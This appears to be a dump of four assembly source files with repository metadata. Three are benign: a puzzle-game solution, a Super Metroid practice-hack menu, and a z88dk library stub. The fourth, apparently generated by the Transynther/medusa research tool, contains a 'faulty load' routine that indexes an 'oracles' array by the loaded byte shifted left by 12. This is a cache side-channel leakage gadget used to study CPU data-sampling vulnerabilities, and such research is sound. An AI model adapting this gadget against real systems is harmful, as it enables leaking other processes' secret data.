aca4e2a1db86dff7fe9d268b96961b790760fa1e
271
asm
Assembly
24-Budget-Brigade-1.size.asm
blueset/7bh-solutions
988afddf87411bec06ec9e90179b55fb55345a5d
[ "MIT" ]
null
null
null
24-Budget-Brigade-1.size.asm
blueset/7bh-solutions
988afddf87411bec06ec9e90179b55fb55345a5d
[ "MIT" ]
null
null
null
24-Budget-Brigade-1.size.asm
blueset/7bh-solutions
988afddf87411bec06ec9e90179b55fb55345a5d
[ "MIT" ]
null
null
null
-- 7 Billion Humans -- -- 24: Budget Brigade 1 -- -- Size: 7/7 -- -- Speed: 187/53 -- a: if s == printer and myitem == nothing: takefrom s endif if e == person and myitem == datacube: giveto e endif if s == shredder and myitem == datacube: giveto s endif jump a
12.318182
26
0.627306
febe54dadcd167a110d64e1d7d9914700cd53035
18,197
asm
Assembly
src/presets/allbosskpdr_menu.asm
idlechild/sm_practice_hack
3cc51e8f12cfe42fd360f7cfaa90fa767a06c8c7
[ "Unlicense" ]
15
2019-02-23T20:38:49.000Z
2022-02-18T01:14:04.000Z
src/presets/allbosskpdr_menu.asm
idlechild/sm_practice_hack
3cc51e8f12cfe42fd360f7cfaa90fa767a06c8c7
[ "Unlicense" ]
50
2019-03-06T22:02:17.000Z
2022-03-31T05:25:54.000Z
src/presets/allbosskpdr_menu.asm
idlechild/sm_practice_hack
3cc51e8f12cfe42fd360f7cfaa90fa767a06c8c7
[ "Unlicense" ]
20
2019-02-23T20:40:53.000Z
2022-02-22T17:44:45.000Z
PresetsMenuAllbosskpdr: dw #presets_goto_allbosskpdr_crateria dw #presets_goto_allbosskpdr_brinstar dw #presets_goto_allbosskpdr_upper_norfair dw #presets_goto_allbosskpdr_wrecked_ship dw #presets_goto_allbosskpdr_maridia dw #presets_goto_allbosskpdr_upper_norfair_revisit dw #presets_goto_allbosskpdr_lower_norfair dw #presets_goto_allbosskpdr_spore_spawn dw #presets_goto_allbosskpdr_tourian dw #$0000 %cm_header("PRESETS FOR ALL BOSS KPDR") presets_goto_allbosskpdr_crateria: %cm_submenu("Crateria", #presets_submenu_allbosskpdr_crateria) presets_goto_allbosskpdr_brinstar: %cm_submenu("Brinstar", #presets_submenu_allbosskpdr_brinstar) presets_goto_allbosskpdr_upper_norfair: %cm_submenu("Upper Norfair", #presets_submenu_allbosskpdr_upper_norfair) presets_goto_allbosskpdr_wrecked_ship: %cm_submenu("Wrecked Ship", #presets_submenu_allbosskpdr_wrecked_ship) presets_goto_allbosskpdr_maridia: %cm_submenu("Maridia", #presets_submenu_allbosskpdr_maridia) presets_goto_allbosskpdr_upper_norfair_revisit: %cm_submenu("Upper Norfair Revisit", #presets_submenu_allbosskpdr_upper_norfair_revisit) presets_goto_allbosskpdr_lower_norfair: %cm_submenu("Lower Norfair", #presets_submenu_allbosskpdr_lower_norfair) presets_goto_allbosskpdr_spore_spawn: %cm_submenu("Spore Spawn", #presets_submenu_allbosskpdr_spore_spawn) presets_goto_allbosskpdr_tourian: %cm_submenu("Tourian", #presets_submenu_allbosskpdr_tourian) presets_submenu_allbosskpdr_crateria: dw #presets_allbosskpdr_crateria_ceres_elevator dw #presets_allbosskpdr_crateria_ceres_last_3_rooms dw #presets_allbosskpdr_crateria_ship dw #presets_allbosskpdr_crateria_pit_room dw #presets_allbosskpdr_crateria_morph dw #presets_allbosskpdr_crateria_pit_room_revisit dw #presets_allbosskpdr_crateria_climb dw #presets_allbosskpdr_crateria_parlor dw #presets_allbosskpdr_crateria_bomb_torizo dw #presets_allbosskpdr_crateria_terminator dw #$0000 %cm_header("CRATERIA") presets_submenu_allbosskpdr_brinstar: dw #presets_allbosskpdr_brinstar_green_brinstar_elevator dw #presets_allbosskpdr_brinstar_dachora_room dw #presets_allbosskpdr_brinstar_big_pink dw #presets_allbosskpdr_brinstar_red_tower dw #presets_allbosskpdr_brinstar_entering_kraids_lair dw #presets_allbosskpdr_brinstar_baby_kraid_entering dw #presets_allbosskpdr_brinstar_kraid dw #presets_allbosskpdr_brinstar_baby_kraid_exiting dw #$0000 %cm_header("BRINSTAR") presets_submenu_allbosskpdr_upper_norfair: dw #presets_allbosskpdr_upper_norfair_business_center dw #presets_allbosskpdr_upper_norfair_hi_jump_etank dw #presets_allbosskpdr_upper_norfair_leaving_hi_jump dw #presets_allbosskpdr_upper_norfair_precathedral dw #presets_allbosskpdr_upper_norfair_bubble_mountain dw #presets_allbosskpdr_upper_norfair_single_chamber dw #presets_allbosskpdr_upper_norfair_double_chamber_revisit dw #presets_allbosskpdr_upper_norfair_bubble_mountain_revisit dw #presets_allbosskpdr_upper_norfair_business_center_revisit dw #$0000 %cm_header("UPPER NORFAIR") presets_submenu_allbosskpdr_wrecked_ship: dw #presets_allbosskpdr_wrecked_ship_alpha_spark dw #presets_allbosskpdr_wrecked_ship_red_tower_2 dw #presets_allbosskpdr_wrecked_ship_hellway dw #presets_allbosskpdr_wrecked_ship_leaving_power_bombs dw #presets_allbosskpdr_wrecked_ship_crateria_elevator dw #presets_allbosskpdr_wrecked_ship_entering_wrecked_ship dw #presets_allbosskpdr_wrecked_ship_phantoon dw #presets_allbosskpdr_wrecked_ship_leaving_phantoon dw #presets_allbosskpdr_wrecked_ship_wrecked_ship_shaft dw #presets_allbosskpdr_wrecked_ship_attic dw #presets_allbosskpdr_wrecked_ship_bowling_spark dw #presets_allbosskpdr_wrecked_ship_leaving_gravity dw #$0000 %cm_header("WRECKED SHIP") presets_submenu_allbosskpdr_maridia: dw #presets_allbosskpdr_maridia_red_tower_elevator dw #presets_allbosskpdr_maridia_breaking_tube dw #presets_allbosskpdr_maridia_mt_everest dw #presets_allbosskpdr_maridia_botwoon dw #presets_allbosskpdr_maridia_halfie dw #presets_allbosskpdr_maridia_draygon dw #presets_allbosskpdr_maridia_womple_jump dw #presets_allbosskpdr_maridia_cac_alley dw #presets_allbosskpdr_maridia_plasma_spark dw #presets_allbosskpdr_maridia_plasma_beam dw #presets_allbosskpdr_maridia_plasma_spark_revisit dw #presets_allbosskpdr_maridia_sewers dw #$0000 %cm_header("MARIDIA") presets_submenu_allbosskpdr_upper_norfair_revisit: dw #presets_allbosskpdr_upper_norfair_revisit_ice_beam_hallway dw #presets_allbosskpdr_upper_norfair_revisit_ice_maze dw #presets_allbosskpdr_upper_norfair_revisit_ice_escape dw #presets_allbosskpdr_upper_norfair_revisit_crocomire_speedway dw #presets_allbosskpdr_upper_norfair_revisit_crocomire dw #presets_allbosskpdr_upper_norfair_revisit_leaving_crocomire dw #presets_allbosskpdr_upper_norfair_revisit_kronic_boost dw #$0000 %cm_header("UPPER NORFAIR REVISIT") presets_submenu_allbosskpdr_lower_norfair: dw #presets_allbosskpdr_lower_norfair_ln_main_hall dw #presets_allbosskpdr_lower_norfair_green_gate_glitch dw #presets_allbosskpdr_lower_norfair_golden_torizo dw #presets_allbosskpdr_lower_norfair_screw_attack_escape dw #presets_allbosskpdr_lower_norfair_worst_room_in_the_game dw #presets_allbosskpdr_lower_norfair_kihunter_stairs dw #presets_allbosskpdr_lower_norfair_metal_pirates dw #presets_allbosskpdr_lower_norfair_ridley dw #presets_allbosskpdr_lower_norfair_leaving_ridley dw #presets_allbosskpdr_lower_norfair_wasteland_revisit dw #presets_allbosskpdr_lower_norfair_fire_flea_room dw #presets_allbosskpdr_lower_norfair_three_musketeers dw #presets_allbosskpdr_lower_norfair_bubble_mountain_rerevisit dw #$0000 %cm_header("LOWER NORFAIR") presets_submenu_allbosskpdr_spore_spawn: dw #presets_allbosskpdr_spore_spawn_maridia_passthrough dw #presets_allbosskpdr_spore_spawn_red_tower_3 dw #presets_allbosskpdr_spore_spawn_lower_green_brinstar dw #presets_allbosskpdr_spore_spawn_big_pink_up dw #presets_allbosskpdr_spore_spawn_spore_spawn_2 dw #presets_allbosskpdr_spore_spawn_big_pink_down dw #presets_allbosskpdr_spore_spawn_dachora_room_revisit dw #presets_allbosskpdr_spore_spawn_crateria_2 dw #$0000 %cm_header("SPORE SPAWN") presets_submenu_allbosskpdr_tourian: dw #presets_allbosskpdr_tourian_metroids_1 dw #presets_allbosskpdr_tourian_metroids_2 dw #presets_allbosskpdr_tourian_metroids_3 dw #presets_allbosskpdr_tourian_metroids_4 dw #presets_allbosskpdr_tourian_baby_skip dw #presets_allbosskpdr_tourian_zeb_skip dw #presets_allbosskpdr_tourian_escape_room_3 dw #presets_allbosskpdr_tourian_escape_parlor dw #$0000 %cm_header("TOURIAN") ; Crateria presets_allbosskpdr_crateria_ceres_elevator: %cm_preset("Ceres Elevator", #preset_allbosskpdr_crateria_ceres_elevator) presets_allbosskpdr_crateria_ceres_last_3_rooms: %cm_preset("Ceres Last 3 Rooms", #preset_allbosskpdr_crateria_ceres_last_3_rooms) presets_allbosskpdr_crateria_ship: %cm_preset("Ship", #preset_allbosskpdr_crateria_ship) presets_allbosskpdr_crateria_pit_room: %cm_preset("Pit Room", #preset_allbosskpdr_crateria_pit_room) presets_allbosskpdr_crateria_morph: %cm_preset("Morph", #preset_allbosskpdr_crateria_morph) presets_allbosskpdr_crateria_pit_room_revisit: %cm_preset("Pit Room Revisit", #preset_allbosskpdr_crateria_pit_room_revisit) presets_allbosskpdr_crateria_climb: %cm_preset("Climb", #preset_allbosskpdr_crateria_climb) presets_allbosskpdr_crateria_parlor: %cm_preset("Parlor", #preset_allbosskpdr_crateria_parlor) presets_allbosskpdr_crateria_bomb_torizo: %cm_preset("Bomb Torizo", #preset_allbosskpdr_crateria_bomb_torizo) presets_allbosskpdr_crateria_terminator: %cm_preset("Terminator", #preset_allbosskpdr_crateria_terminator) ; Brinstar presets_allbosskpdr_brinstar_green_brinstar_elevator: %cm_preset("Green Brinstar Elevator", #preset_allbosskpdr_brinstar_green_brinstar_elevator) presets_allbosskpdr_brinstar_dachora_room: %cm_preset("Dachora Room", #preset_allbosskpdr_brinstar_dachora_room) presets_allbosskpdr_brinstar_big_pink: %cm_preset("Big Pink", #preset_allbosskpdr_brinstar_big_pink) presets_allbosskpdr_brinstar_red_tower: %cm_preset("Red Tower", #preset_allbosskpdr_brinstar_red_tower) presets_allbosskpdr_brinstar_entering_kraids_lair: %cm_preset("Entering Kraids Lair", #preset_allbosskpdr_brinstar_entering_kraids_lair) presets_allbosskpdr_brinstar_baby_kraid_entering: %cm_preset("Baby Kraid (Entering)", #preset_allbosskpdr_brinstar_baby_kraid_entering) presets_allbosskpdr_brinstar_kraid: %cm_preset("Kraid", #preset_allbosskpdr_brinstar_kraid) presets_allbosskpdr_brinstar_baby_kraid_exiting: %cm_preset("Baby Kraid (Exiting)", #preset_allbosskpdr_brinstar_baby_kraid_exiting) ; Upper Norfair presets_allbosskpdr_upper_norfair_business_center: %cm_preset("Business Center", #preset_allbosskpdr_upper_norfair_business_center) presets_allbosskpdr_upper_norfair_hi_jump_etank: %cm_preset("Hi Jump E-tank", #preset_allbosskpdr_upper_norfair_hi_jump_etank) presets_allbosskpdr_upper_norfair_leaving_hi_jump: %cm_preset("Leaving Hi Jump", #preset_allbosskpdr_upper_norfair_leaving_hi_jump) presets_allbosskpdr_upper_norfair_precathedral: %cm_preset("Pre-Cathedral", #preset_allbosskpdr_upper_norfair_precathedral) presets_allbosskpdr_upper_norfair_bubble_mountain: %cm_preset("Bubble Mountain", #preset_allbosskpdr_upper_norfair_bubble_mountain) presets_allbosskpdr_upper_norfair_single_chamber: %cm_preset("Single Chamber", #preset_allbosskpdr_upper_norfair_single_chamber) presets_allbosskpdr_upper_norfair_double_chamber_revisit: %cm_preset("Double Chamber Revisit", #preset_allbosskpdr_upper_norfair_double_chamber_revisit) presets_allbosskpdr_upper_norfair_bubble_mountain_revisit: %cm_preset("Bubble Mountain Revisit", #preset_allbosskpdr_upper_norfair_bubble_mountain_revisit) presets_allbosskpdr_upper_norfair_business_center_revisit: %cm_preset("Business Center Revisit", #preset_allbosskpdr_upper_norfair_business_center_revisit) ; Wrecked Ship presets_allbosskpdr_wrecked_ship_alpha_spark: %cm_preset("Alpha Spark", #preset_allbosskpdr_wrecked_ship_alpha_spark) presets_allbosskpdr_wrecked_ship_red_tower_2: %cm_preset("Red Tower", #preset_allbosskpdr_wrecked_ship_red_tower_2) presets_allbosskpdr_wrecked_ship_hellway: %cm_preset("Hellway", #preset_allbosskpdr_wrecked_ship_hellway) presets_allbosskpdr_wrecked_ship_leaving_power_bombs: %cm_preset("Leaving Power Bombs", #preset_allbosskpdr_wrecked_ship_leaving_power_bombs) presets_allbosskpdr_wrecked_ship_crateria_elevator: %cm_preset("Crateria Elevator", #preset_allbosskpdr_wrecked_ship_crateria_elevator) presets_allbosskpdr_wrecked_ship_entering_wrecked_ship: %cm_preset("Entering Wrecked Ship", #preset_allbosskpdr_wrecked_ship_entering_wrecked_ship) presets_allbosskpdr_wrecked_ship_phantoon: %cm_preset("Phantoon", #preset_allbosskpdr_wrecked_ship_phantoon) presets_allbosskpdr_wrecked_ship_leaving_phantoon: %cm_preset("Leaving Phantoon", #preset_allbosskpdr_wrecked_ship_leaving_phantoon) presets_allbosskpdr_wrecked_ship_wrecked_ship_shaft: %cm_preset("Wrecked Ship Shaft", #preset_allbosskpdr_wrecked_ship_wrecked_ship_shaft) presets_allbosskpdr_wrecked_ship_attic: %cm_preset("Attic", #preset_allbosskpdr_wrecked_ship_attic) presets_allbosskpdr_wrecked_ship_bowling_spark: %cm_preset("Bowling Spark", #preset_allbosskpdr_wrecked_ship_bowling_spark) presets_allbosskpdr_wrecked_ship_leaving_gravity: %cm_preset("Leaving Gravity", #preset_allbosskpdr_wrecked_ship_leaving_gravity) ; Maridia presets_allbosskpdr_maridia_red_tower_elevator: %cm_preset("Red Tower Elevator", #preset_allbosskpdr_maridia_red_tower_elevator) presets_allbosskpdr_maridia_breaking_tube: %cm_preset("Breaking Tube", #preset_allbosskpdr_maridia_breaking_tube) presets_allbosskpdr_maridia_mt_everest: %cm_preset("Mt Everest", #preset_allbosskpdr_maridia_mt_everest) presets_allbosskpdr_maridia_botwoon: %cm_preset("Botwoon", #preset_allbosskpdr_maridia_botwoon) presets_allbosskpdr_maridia_halfie: %cm_preset("Halfie", #preset_allbosskpdr_maridia_halfie) presets_allbosskpdr_maridia_draygon: %cm_preset("Draygon", #preset_allbosskpdr_maridia_draygon) presets_allbosskpdr_maridia_womple_jump: %cm_preset("Womple Jump", #preset_allbosskpdr_maridia_womple_jump) presets_allbosskpdr_maridia_cac_alley: %cm_preset("Cac Alley", #preset_allbosskpdr_maridia_cac_alley) presets_allbosskpdr_maridia_plasma_spark: %cm_preset("Plasma Spark", #preset_allbosskpdr_maridia_plasma_spark) presets_allbosskpdr_maridia_plasma_beam: %cm_preset("Plasma Beam", #preset_allbosskpdr_maridia_plasma_beam) presets_allbosskpdr_maridia_plasma_spark_revisit: %cm_preset("Plasma Spark Revisit", #preset_allbosskpdr_maridia_plasma_spark_revisit) presets_allbosskpdr_maridia_sewers: %cm_preset("Sewers", #preset_allbosskpdr_maridia_sewers) ; Upper Norfair Revisit presets_allbosskpdr_upper_norfair_revisit_ice_beam_hallway: %cm_preset("Ice Beam Hallway", #preset_allbosskpdr_upper_norfair_revisit_ice_beam_hallway) presets_allbosskpdr_upper_norfair_revisit_ice_maze: %cm_preset("Ice Maze", #preset_allbosskpdr_upper_norfair_revisit_ice_maze) presets_allbosskpdr_upper_norfair_revisit_ice_escape: %cm_preset("Ice Escape", #preset_allbosskpdr_upper_norfair_revisit_ice_escape) presets_allbosskpdr_upper_norfair_revisit_crocomire_speedway: %cm_preset("Crocomire Speedway", #preset_allbosskpdr_upper_norfair_revisit_crocomire_speedway) presets_allbosskpdr_upper_norfair_revisit_crocomire: %cm_preset("Crocomire", #preset_allbosskpdr_upper_norfair_revisit_crocomire) presets_allbosskpdr_upper_norfair_revisit_leaving_crocomire: %cm_preset("Leaving Crocomire", #preset_allbosskpdr_upper_norfair_revisit_leaving_crocomire) presets_allbosskpdr_upper_norfair_revisit_kronic_boost: %cm_preset("Kronic Boost", #preset_allbosskpdr_upper_norfair_revisit_kronic_boost) ; Lower Norfair presets_allbosskpdr_lower_norfair_ln_main_hall: %cm_preset("LN Main Hall", #preset_allbosskpdr_lower_norfair_ln_main_hall) presets_allbosskpdr_lower_norfair_green_gate_glitch: %cm_preset("Green Gate Glitch", #preset_allbosskpdr_lower_norfair_green_gate_glitch) presets_allbosskpdr_lower_norfair_golden_torizo: %cm_preset("Golden Torizo", #preset_allbosskpdr_lower_norfair_golden_torizo) presets_allbosskpdr_lower_norfair_screw_attack_escape: %cm_preset("Screw Attack Escape", #preset_allbosskpdr_lower_norfair_screw_attack_escape) presets_allbosskpdr_lower_norfair_worst_room_in_the_game: %cm_preset("Worst Room in the Game", #preset_allbosskpdr_lower_norfair_worst_room_in_the_game) presets_allbosskpdr_lower_norfair_kihunter_stairs: %cm_preset("Kihunter Stairs", #preset_allbosskpdr_lower_norfair_kihunter_stairs) presets_allbosskpdr_lower_norfair_metal_pirates: %cm_preset("Metal Pirates", #preset_allbosskpdr_lower_norfair_metal_pirates) presets_allbosskpdr_lower_norfair_ridley: %cm_preset("Ridley", #preset_allbosskpdr_lower_norfair_ridley) presets_allbosskpdr_lower_norfair_leaving_ridley: %cm_preset("Leaving Ridley", #preset_allbosskpdr_lower_norfair_leaving_ridley) presets_allbosskpdr_lower_norfair_wasteland_revisit: %cm_preset("Wasteland Revisit", #preset_allbosskpdr_lower_norfair_wasteland_revisit) presets_allbosskpdr_lower_norfair_fire_flea_room: %cm_preset("Fire Flea Room", #preset_allbosskpdr_lower_norfair_fire_flea_room) presets_allbosskpdr_lower_norfair_three_musketeers: %cm_preset("Three Musketeers", #preset_allbosskpdr_lower_norfair_three_musketeers) presets_allbosskpdr_lower_norfair_bubble_mountain_rerevisit: %cm_preset("Bubble Mountain ReRevisit", #preset_allbosskpdr_lower_norfair_bubble_mountain_rerevisit) ; Spore Spawn presets_allbosskpdr_spore_spawn_maridia_passthrough: %cm_preset("Maridia Passthrough", #preset_allbosskpdr_spore_spawn_maridia_passthrough) presets_allbosskpdr_spore_spawn_red_tower_3: %cm_preset("Red Tower", #preset_allbosskpdr_spore_spawn_red_tower_3) presets_allbosskpdr_spore_spawn_lower_green_brinstar: %cm_preset("Lower Green Brinstar", #preset_allbosskpdr_spore_spawn_lower_green_brinstar) presets_allbosskpdr_spore_spawn_big_pink_up: %cm_preset("Big Pink Up", #preset_allbosskpdr_spore_spawn_big_pink_up) presets_allbosskpdr_spore_spawn_spore_spawn_2: %cm_preset("Spore Spawn", #preset_allbosskpdr_spore_spawn_spore_spawn_2) presets_allbosskpdr_spore_spawn_big_pink_down: %cm_preset("Big Pink Down", #preset_allbosskpdr_spore_spawn_big_pink_down) presets_allbosskpdr_spore_spawn_dachora_room_revisit: %cm_preset("Dachora Room Revisit", #preset_allbosskpdr_spore_spawn_dachora_room_revisit) presets_allbosskpdr_spore_spawn_crateria_2: %cm_preset("Crateria", #preset_allbosskpdr_spore_spawn_crateria_2) ; Tourian presets_allbosskpdr_tourian_metroids_1: %cm_preset("Metroids 1", #preset_allbosskpdr_tourian_metroids_1) presets_allbosskpdr_tourian_metroids_2: %cm_preset("Metroids 2", #preset_allbosskpdr_tourian_metroids_2) presets_allbosskpdr_tourian_metroids_3: %cm_preset("Metroids 3", #preset_allbosskpdr_tourian_metroids_3) presets_allbosskpdr_tourian_metroids_4: %cm_preset("Metroids 4", #preset_allbosskpdr_tourian_metroids_4) presets_allbosskpdr_tourian_baby_skip: %cm_preset("Baby Skip", #preset_allbosskpdr_tourian_baby_skip) presets_allbosskpdr_tourian_zeb_skip: %cm_preset("Zeb Skip", #preset_allbosskpdr_tourian_zeb_skip) presets_allbosskpdr_tourian_escape_room_3: %cm_preset("Escape Room 3", #preset_allbosskpdr_tourian_escape_room_3) presets_allbosskpdr_tourian_escape_parlor: %cm_preset("Escape Parlor", #preset_allbosskpdr_tourian_escape_parlor)
41.076749
104
0.858054
3a0dce920a534073f1e027dcdc05f4a0a5558a35
446
asm
Assembly
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_insert_block_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_insert_block_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_insert_block_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *b_vector_insert_block(b_vector_t *v, size_t idx, size_t n) SECTION code_clib SECTION code_adt_b_vector PUBLIC b_vector_insert_block_callee EXTERN asm_b_vector_insert_block b_vector_insert_block_callee: pop hl pop de pop bc ex (sp),hl jp asm_b_vector_insert_block ; SDCC bridge for Classic IF __CLASSIC PUBLIC _b_vector_insert_block_callee defc _b_vector_insert_block_callee = b_vector_insert_block_callee ENDIF
17.153846
66
0.818386
aaf6149dfd9937759b08e5dccf8e485c0d278821
7,828
asm
Assembly
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_589.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_589.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_589.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x190b6, %rbx nop nop inc %r14 mov $0x6162636465666768, %r13 movq %r13, %xmm1 movups %xmm1, (%rbx) nop and $22296, %r11 lea addresses_UC_ht+0x1acb6, %rsi lea addresses_A_ht+0x6236, %rdi add $5274, %r11 mov $28, %rcx rep movsl cmp %rsi, %rsi lea addresses_normal_ht+0x12cb6, %r11 nop nop add %r14, %r14 mov (%r11), %rdi nop nop nop and $48300, %rbx lea addresses_D_ht+0x19b6, %rcx nop nop nop sub %r13, %r13 movl $0x61626364, (%rcx) nop nop xor $21258, %rsi lea addresses_normal_ht+0x1c0b6, %r14 nop nop nop inc %rcx mov $0x6162636465666768, %r13 movq %r13, %xmm5 vmovups %ymm5, (%r14) nop nop nop nop nop add $3556, %rcx lea addresses_WC_ht+0x10db6, %rsi lea addresses_normal_ht+0x9a36, %rdi nop nop nop and $7844, %r9 mov $107, %rcx rep movsl xor %r11, %r11 lea addresses_UC_ht+0xf6b6, %rsi nop nop nop add %r13, %r13 mov (%rsi), %di nop cmp $16426, %r11 lea addresses_WT_ht+0xbcb6, %rsi nop nop nop nop sub %r13, %r13 vmovups (%rsi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %r9 nop nop xor %r9, %r9 lea addresses_WT_ht+0x373a, %r13 sub $50071, %rbx mov (%r13), %edi nop and $11763, %r11 lea addresses_WT_ht+0x1a3b6, %rsi lea addresses_normal_ht+0xec0e, %rdi nop nop nop nop xor %r14, %r14 mov $62, %rcx rep movsl nop nop add %rbx, %rbx lea addresses_A_ht+0xf8b6, %rsi nop dec %rcx mov (%rsi), %r11 nop nop nop xor $47504, %rbx lea addresses_WC_ht+0x1c11e, %r9 nop add $48987, %rdi mov $0x6162636465666768, %r13 movq %r13, %xmm1 vmovups %ymm1, (%r9) nop nop nop sub %rcx, %rcx lea addresses_D_ht+0x1beb6, %rsi lea addresses_D_ht+0x5d16, %rdi nop nop nop inc %rbx mov $19, %rcx rep movsw nop nop nop nop sub $49230, %r9 lea addresses_D_ht+0x11cc6, %r13 xor %r11, %r11 mov $0x6162636465666768, %r9 movq %r9, %xmm0 vmovups %ymm0, (%r13) nop nop nop nop nop add %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %rcx push %rdi push %rsi // Load lea addresses_A+0x1a9de, %r12 nop nop nop add %rsi, %rsi vmovups (%r12), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rcx nop nop nop nop sub %r8, %r8 // Faulty Load lea addresses_US+0xd4b6, %r11 nop nop nop nop nop add $42637, %r10 mov (%r11), %r8d lea oracles, %rcx and $0xff, %r8 shlq $12, %r8 mov (%rcx,%r8,1), %r8 pop %rsi pop %rdi pop %rcx pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}} {'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}} {'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 6, 'type': 'addresses_normal_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': True, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 3, 'type': 'addresses_normal_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}} {'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 